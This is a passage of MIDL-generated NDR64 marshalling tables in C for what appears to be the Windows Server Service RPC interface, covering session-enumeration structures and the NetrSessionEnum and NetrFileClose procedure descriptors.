1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 40 /* 0x28 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag736\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 8 /* 0x8 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag736\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 32 /* 0x20 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag736\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag119_t __midl_frag119 =\n{ \n/* *_SESSION_INFO_2 */\n    { \n    /* *_SESSION_INFO_2 */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* *_SESSION_INFO_2 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        &__midl_frag267\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_REPEAT_FORMAT */\n            0x82,    /* FC64_VARIABLE_REPEAT */\n            { \n            /* struct _NDR64_REPEAT_FORMAT */\n                (NDR64_UINT8) 1 /* 0x1 */,\n                (NDR64_UINT8) 0 /* 0x0 */\n            },\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 40 /* 0x28 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 3 /* 0x3 */\n        },\n        { \n        /*  */\n            { \n            /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n                (NDR64_UINT32) 0 /* 0x0 */,\n                (NDR64_UINT32) 0 /* 0x0 */\n            },\n            { \n            /* *wchar_t */\n                0x21,    /* FC64_UP */\n                (NDR64_UINT8) 0 /* 0x0 */,\n                (NDR64_UINT16) 0 /* 0x0 */,\n                &__midl_frag736\n            },\n            { \n            /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n                (NDR64_UINT32) 8 /* 0x8 */,\n                (NDR64_UINT32) 0 /* 0x0 */\n            },\n            { \n            /* *wchar_t */\n                0x21,    /* FC64_UP */\n                (NDR64_UINT8) 0 /* 0x0 */,\n                (NDR64_UINT16) 0 /* 0x0 */,\n                &__midl_frag736\n            },\n            { \n            /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n                (NDR64_UINT32) 32 /* 0x20 */,\n                (NDR64_UINT32) 0 /* 0x0 */\n            },\n            { \n            /* *wchar_t */\n                0x21,    /* FC64_UP */\n                (NDR64_UINT8) 0 /* 0x0 */,\n                (NDR64_UINT16) 0 /* 0x0 */,\n                &__midl_frag736\n            }\n        },\n        0x93    /* FC64_END */\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 40 /* 0x28 */,\n        &__midl_frag124\n    }\n};\n\nstatic const __midl_frag118_t __midl_frag118 =\n{ \n/* SESSION_INFO_2_CONTAINER */\n    { \n    /* SESSION_INFO_2_CONTAINER */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* SESSION_INFO_2_CONTAINER */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag128,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag117_t __midl_frag117 =\n{ \n/* *SESSION_INFO_2_CONTAINER */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag118\n};\n\nstatic const __midl_frag116_t __midl_frag116 =\n{ \n/*  */\n    { \n    /* *_SESSION_INFO_1 */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag109\n    }\n};\n\nstatic const __midl_frag113_t __midl_frag113 =\n{ \n/* _SESSION_INFO_1 */\n    { \n    /* _SESSION_INFO_1 */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _SESSION_INFO_1 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 32 /* 0x20 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag736\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 8 /* 0x8 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag736\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag109_t __midl_frag109 =\n{ \n/* *_SESSION_INFO_1 */\n    { \n    /* *_SESSION_INFO_1 */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* *_SESSION_INFO_1 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 32 /* 0x20 */,\n        &__midl_frag267\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_REPEAT_FORMAT */\n            0x82,    /* FC64_VARIABLE_REPEAT */\n            { \n            /* struct _NDR64_REPEAT_FORMAT */\n                (NDR64_UINT8) 1 /* 0x1 */,\n                (NDR64_UINT8) 0 /* 0x0 */\n            },\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 32 /* 0x20 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 2 /* 0x2 */\n        },\n        { \n        /*  */\n            { \n            /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n                (NDR64_UINT32) 0 /* 0x0 */,\n                (NDR64_UINT32) 0 /* 0x0 */\n            },\n            { \n            /* *wchar_t */\n                0x21,    /* FC64_UP */\n                (NDR64_UINT8) 0 /* 0x0 */,\n                (NDR64_UINT16) 0 /* 0x0 */,\n                &__midl_frag736\n            },\n            { \n            /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n                (NDR64_UINT32) 8 /* 0x8 */,\n                (NDR64_UINT32) 0 /* 0x0 */\n            },\n            { \n            /* *wchar_t */\n                0x21,    /* FC64_UP */\n                (NDR64_UINT8) 0 /* 0x0 */,\n                (NDR64_UINT16) 0 /* 0x0 */,\n                &__midl_frag736\n            }\n        },\n        0x93    /* FC64_END */\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 32 /* 0x20 */,\n        &__midl_frag113\n    }\n};\n\nstatic const __midl_frag108_t __midl_frag108 =\n{ \n/* SESSION_INFO_1_CONTAINER */\n    { \n    /* SESSION_INFO_1_CONTAINER */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* SESSION_INFO_1_CONTAINER */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag116,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag107_t __midl_frag107 =\n{ \n/* *SESSION_INFO_1_CONTAINER */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag108\n};\n\nstatic const __midl_frag106_t __midl_frag106 =\n{ \n/*  */\n    { \n    /* *_SESSION_INFO_0 */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag101\n    }\n};\n\nstatic const __midl_frag101_t __midl_frag101 =\n{ \n/* *_SESSION_INFO_0 */\n    { \n    /* *_SESSION_INFO_0 */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* *_SESSION_INFO_0 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag267\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_REPEAT_FORMAT */\n            0x82,    /* FC64_VARIABLE_REPEAT */\n            { \n            /* struct _NDR64_REPEAT_FORMAT */\n                (NDR64_UINT8) 1 /* 0x1 */,\n                (NDR64_UINT8) 0 /* 0x0 */\n            },\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 8 /* 0x8 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 1 /* 0x1 */\n        },\n        { \n        /*  */\n            { \n            /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n                (NDR64_UINT32) 0 /* 0x0 */,\n                (NDR64_UINT32) 0 /* 0x0 */\n            },\n            { \n            /* *wchar_t */\n                0x21,    /* FC64_UP */\n                (NDR64_UINT8) 0 /* 0x0 */,\n                (NDR64_UINT16) 0 /* 0x0 */,\n                &__midl_frag736\n            }\n        },\n        0x93    /* FC64_END */\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag376\n    }\n};\n\nstatic const __midl_frag100_t __midl_frag100 =\n{ \n/* SESSION_INFO_0_CONTAINER */\n    { \n    /* SESSION_INFO_0_CONTAINER */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* SESSION_INFO_0_CONTAINER */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag106,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag99_t __midl_frag99 =\n{ \n/* *SESSION_INFO_0_CONTAINER */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag100\n};\n\nstatic const __midl_frag97_t __midl_frag97 =\n{ \n/* SESSION_ENUM_UNION */\n    { \n    /* SESSION_ENUM_UNION */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag267,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 5 /* 0x5 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 0 /* 0x0 */,\n        &__midl_frag99,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1 /* 0x1 */,\n        &__midl_frag107,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 2 /* 0x2 */,\n        &__midl_frag117,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 10 /* 0xa */,\n        &__midl_frag129,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 502 /* 0x1f6 */,\n        &__midl_frag139,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag96_t __midl_frag96 =\n{ \n/* _SESSION_ENUM_STRUCT */\n    { \n    /* _SESSION_ENUM_STRUCT */\n        0x34,    /* FC64_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _SESSION_ENUM_STRUCT */\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        0,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag97\n        },\n        { \n        /* _SESSION_ENUM_STRUCT */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag95_t __midl_frag95 =\n{ \n/* *_SESSION_ENUM_STRUCT */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag96\n};\n\nstatic const __midl_frag88_t __midl_frag88 =\n{ \n/* NetrSessionEnum */\n    { \n    /* NetrSessionEnum */      /* procedure NetrSessionEnum */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 64 /* 0x40 */ ,  /* Stack size */\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 8 /* 0x8 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag733,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* ClientName */      /* parameter ClientName */\n        &__midl_frag733,\n        { \n        /* ClientName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* UserName */      /* parameter UserName */\n        &__midl_frag733,\n        { \n        /* UserName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* InfoStruct */      /* parameter InfoStruct */\n        &__midl_frag96,\n        { \n        /* InfoStruct */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* PreferedMaximumLength */      /* parameter PreferedMaximumLength */\n        &__midl_frag737,\n        { \n        /* PreferedMaximumLength */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* TotalEntries */      /* parameter TotalEntries */\n        &__midl_frag737,\n        { \n        /* TotalEntries */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* ResumeHandle */      /* parameter ResumeHandle */\n        &__midl_frag523,\n        { \n        /* ResumeHandle */\n            0,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag737,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag83_t __midl_frag83 =\n{ \n/* NetrFileClose */\n    { \n    /* NetrFileClose */      /* procedure NetrFileClose */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 24 /* 0x18 */ ,  /* Stack size */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 3 /* 0x3 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag733,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* FileId */      /* parameter FileId */\n        &__midl_frag737,\n        { \n        /* FileId */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag737,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag81_t __midl_frag81 =\n{ \n/* *_FILE_INFO_3 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag61\n};\n\nstatic const __midl_frag80_t __midl_frag80 =\n{ \n/* *_FILE_INFO_2 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag463\n};\n\nstatic const __midl_frag78_t __midl_frag78 =\n{ \n/* _FILE_INFO */\n    { \n    /* _FILE_INFO */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag303,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 2 /* 0x2 */,\n        &__midl_frag80,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 3 /* 0x3 */,\n        &__midl_frag81,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag77_t __midl_frag77 =\n{ \n/* *_FILE_INFO */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 4 /* 0x4 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag78\n};\n\nstatic const __midl_frag72_t __midl_frag72 =\n{ \n/* 